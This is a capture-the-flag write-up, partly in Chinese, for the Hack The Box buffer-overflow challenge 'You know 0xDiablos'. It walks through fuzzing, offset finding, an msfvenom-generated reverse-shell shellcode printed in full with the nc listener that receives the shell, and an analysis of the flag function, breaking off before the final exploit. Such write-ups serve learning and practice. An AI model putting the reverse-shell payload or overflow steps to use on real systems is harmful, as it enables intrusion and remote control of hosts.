HTB - You know 0xDiablos Checksec1 2 3 4 5 6 7 8 ➜ You know 0xDiablos checksec vuln [*] '/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
Fuzz1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ➜ You know 0xDiablos cyclic 500 > out ➜ You know 0xDiablos gdb-gef --ex run ./vuln < out Reading symbols from ./vuln... (No debugging symbols found in ./vuln) GEF for linux ready, type `gef' to start, `gef config' to configure 92 commands loaded for GDB 9.1 using Python engine 3.8 Starting program: /mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln You know who are 0xDiablos: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae Program received signal SIGSEGV, Segmentation fault. 0x62616177 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x1f5$ebx : 0x62616175 ("uaab" ?)$ecx : 0xffffffff$edx : 0xffffffff$esp : 0xffffd370 → "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]" $ebp : 0x62616176 ("vaab" ?)$esi : 0xf7fb3000 → 0x001e9d6c$edi : 0xf7fb3000 → 0x001e9d6c$eip : 0x62616177 ("waab" ?)$eflags : [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]$cs : 0x0023 $ss : 0x002b $ds : 0x002b $es : 0x002b $fs : 0x0000 $gs : 0x0063────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd370│+0x0000: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]" ← $esp 0xffffd374│+0x0004: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]" 0xffffd378│+0x0008: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]" 0xffffd37c│+0x000c: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]" 0xffffd380│+0x0010: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoa[...]" 0xffffd384│+0x0014: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpa[...]" 0xffffd388│+0x0018: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]" 0xffffd38c│+0x001c: "faacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra[...]" ──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x62616177 ──────────────────────────────────────────────────────────────────────────────────────── threads ──── [ ────────────────────────────────────────────────────────────────────────────────────────── trace ──── ───────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ quit
Find offset
1 ➜ You know 0xDiablos cyclic -l 0x62616177188
1 2 ➜ You know 0xDiablos cyclic -l xaab 192
Payload
Generate Payload1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ╰─➤ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4433 -f py -b "\x00\x20\x0A" [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch : x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of py file: 479 bytes buf = b"" buf += b"\xba\x41\x94\x42\x64\xdb\xd2\xd9\x74\x24\xf4\x5f\x2b" buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x57\x0e\x03\x16\x9a\xa0" buf += b"\x91\xa9\x79\xd3\xb9\x9a\x3e\x4f\x54\x1e\x48\x8e\x18" buf += b"\x78\x87\xd1\xca\xdd\xa7\xed\x21\x5d\x8e\x68\x43\x35" buf += b"\x6e\x8b\xb3\xc4\xf8\x89\xb3\xd7\xa9\x04\x52\x67\x2f" buf += b"\x47\xc4\xd4\x03\x64\x6f\x3b\xae\xeb\x3d\xd3\x5f\xc3" buf += b"\xb2\x4b\xc8\x34\x1a\xe9\x61\xc2\x87\xbf\x22\x5d\xa6" buf += b"\x8f\xce\x90\xa9"
Find ESP Address1 socat TCP4-LISTEN:10001,fork EXEC:./vuln
1 2 3 4 5 6 7 8 from pwn import *p = remote('127.0.0.1' ,10001 ) buffer=offset+eip+payload p.recv() p.sendline(buffer)
1 2 ulimit -c unlimitedsudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
1 2 3 4 5 6 7 8 9 10 11 12 13 ➜ You know 0xDiablos gdb-gef vuln /tmp/core.1618245963 Reading symbols from vuln... (No debugging symbols found in vuln) [New LWP 19601] Core was generated by `./vuln'. Program terminated with signal SIGILL, Illegal instruction. #0 0xffffd42e in ?? () GEF for linux ready, type `gef' to start, `gef config' to configure 92 commands loaded for GDB 9.1 using Python engine 3.8 Error while writing index for `/usr/lib/debug/lib/i386-linux-gnu/libc-2.31.so' : mkstemp: 没有那个文件或目录.gef➤ x/wx $esp 0xffffd360: 0x90909090 gef➤
ESP: 0xffffd360
Complite Exploit1 2 3 4 5 6 7 8 9 from pwn import *p = remote('127.0.0.1' ,10001 ) buffer=offset+eip+payload p.recv() p.sendline(buffer)
1 socat TCP4-LISTEN:10001,fork EXEC:./vuln
1 2 3 4 5 6 7 8 ➜ ~ nc -l 4433 w 05:08:57 up 3 days, 22:41, 4 users , load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT aresx :0 :0 Fri02 ?xdm? 25:33 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu aresx pts/0 192.168.92.1 Fri05 19:20m 24.17s 0.00s w aresx pts/1 192.168.92.1 Fri05 1.00s 12.66s 0.29s python3 getshell.py aresx pts/2 192.168.92.1 Fri05 0.00s 4.90s 0.00s nc -l 4433
Done ?
Fuck no
由于启动方式的不同,远程服务器的esp地址还是和本地环境不一致
需要换种思路
Source Code
main
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { __gid_t v3; setvbuf(stdout , 0 , 2 , 0 ); v3 = getegid(); setresgid(v3, v3, v3); puts ("You know who are 0xDiablos: " ); vuln(); return 0 ; }
vuln
1 2 3 4 5 6 7 int vuln () { char s; gets(&s); return puts (&s); }
flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 char *__cdecl flag (int a1, int a2) { char *result; char s; FILE *stream; stream = fopen("flag.txt" , (const char *)&unk_804A008); if ( !stream ) { puts ("Hurry up and try in on server side." ); exit (0 ); } result = fgets(&s, 64 , stream); if ( a1 == -559038737 && a2 == -1059139571 ) result = (char *)printf (&s); return result; }
看源码可以知道flag函数接收两个参数a1,a2,并且会进行判断
1 2 if ( a1 == -559038737 && a2 == -1059139571 ) result = (char *)printf (&s);
Final Exploit1 2 3 188位的offset使程序发生溢出,后面8位覆盖eip指向flag函数地址,shellcode为call函数时压入栈中的参数 offset+eip+shellcode
IDA中可以确定flag函数的调用地址080491E2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:080491E2 push ebp .text:080491E3 mov ebp, esp .text:080491E5 push ebx .text:080491E6 sub esp, 54h .text:080491E9 call __x86_get_pc_thunk_bx .text:080491EE add ebx, 2E12h .text:080491F4 sub esp, 8 .text:080491F7 lea eax, (unk_804A008 - 804C000h)[ebx] .text:080491FD push eax ; modes .text:080491FE lea eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt" .text:08049204 push eax ; filename .text:08049205 call _fopen .text:0804920A add esp, 10h .text:0804920D mov [ebp+stream], eax .text:08049210 cmp [ebp+stream], 0 .text:08049214 jnz short loc_8049232 .text:08049216 sub esp, 0Ch .text:08049219 lea eax, (aHurryUpAndTryI - 804C000h)[ebx] ; "Hurry up and try in on server side." .text:0804921F push eax ; s .text:08049220 call _puts .text:08049225 add esp, 10h .text:08049228 sub esp, 0Ch .text:0804922B push 0 ; status .text:0804922D call _exit
也可以使用readelf
1 2 ➜ You know 0xDiablos readelf -a vuln | grep FUNC | grep flag 73: 080491e2 144 FUNC GLOBAL DEFAULT 13 flag
可以写一个类似的程序确定函数之间调用的细节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int flag (int a,int b) {int x =3 ;x = x-1 ; if (a==-559038737 && b==-1059139571 ){ return a+b; } } int main () {flag(-559038737 ,-1059139571 ); return 0 ;}
1 gcc -m32 -z execstack -fno-stack-protector -no-pie -z norelro -D_FORTIFY_SOURCE=0 test.c -o test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ➜ You know 0xDiablos gdb-gef test Reading symbols from test... (No debugging symbols found in test) GEF for linux ready, type `gef' to start, `gef config' to configure 92 commands loaded for GDB 9.1 using Python engine 3.8 gef➤ b main Breakpoint 1 at 0x80491b3 gef➤ x/20i main 0x80491b3 : endbr32 0x80491b7 : push ebp 0x80491b8 : mov ebp,esp 0x80491ba : call 0x80491dd <__x86.get_pc_thunk.ax> 0x80491bf : add eax,0x20dd 0x80491c4 : push 0xc0ded00d 0x80491c9 : push 0xdeadbeef 0x80491ce : call 0x8049176 0x80491d3 : add esp,0x8 0x80491d6 : mov eax,0x0 0x80491db : leave 0x80491dc : ret 0x80491dd <__x86.get_pc_thunk.ax>: mov eax,DWORD PTR [esp] 0x80491e0 <__x86.get_pc_thunk.ax+3>: ret
可以看到在调用flag函数之前将两个参数压入了栈中,然后执行call指令
si
进入call flag
看看栈顶多了个什么东西???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 gef➤ si 0x08049176 in flag () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0804b29c → 0x0804b1b0 → 0x00000001 $ebx : 0x0 $ecx : 0x2a848268 $edx : 0xffffd3c4 → 0x00000000 $esp : 0xffffd38c → 0x080491d3 → add esp, 0x8 $ebp : 0xffffd398 → 0x00000000 $esi : 0xf7fb3000 → 0x001e9d6c $edi : 0xf7fb3000 → 0x001e9d6c $eip : 0x08049176 → endbr32 $eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd38c│+0x0000: 0x080491d3 → add esp, 0x8 ← $esp 0xffffd390│+0x0004: 0xdeadbeef 0xffffd394│+0x0008: 0xc0ded00d 0xffffd398│+0x000c: 0x00000000 ← $ebp 0xffffd39c│+0x0010: 0xf7de7ee5 → <__libc_start_main+245> add esp, 0x10 0xffffd3a0│+0x0014: 0x00000001 0xffffd3a4│+0x0018: 0xffffd434 → 0xffffd5ae → "/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/test" 0xffffd3a8│+0x001c: 0xffffd43c → 0xffffd5de → "USER=aresx" ──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8049169 <__do_global_dtors_aux+41> lea esi, [esi+eiz*1+0x0] 0x8049170 endbr32 0x8049174 jmp 0x8049100 → 0x8049176 endbr32 0x804917a push ebp 0x804917b mov ebp, esp 0x804917d sub esp, 0x10 0x8049180 call 0x80491dd <__x86.get_pc_thunk.ax> 0x8049185 add eax, 0x2117 ──────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "test", stopped 0x8049176 in flag (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8049176 → flag() [#1] 0x80491d3 → main() ───────────────────────────────────────────────────────────────────────────────────────────────────── gef➤
然后直接进行一个exp的编写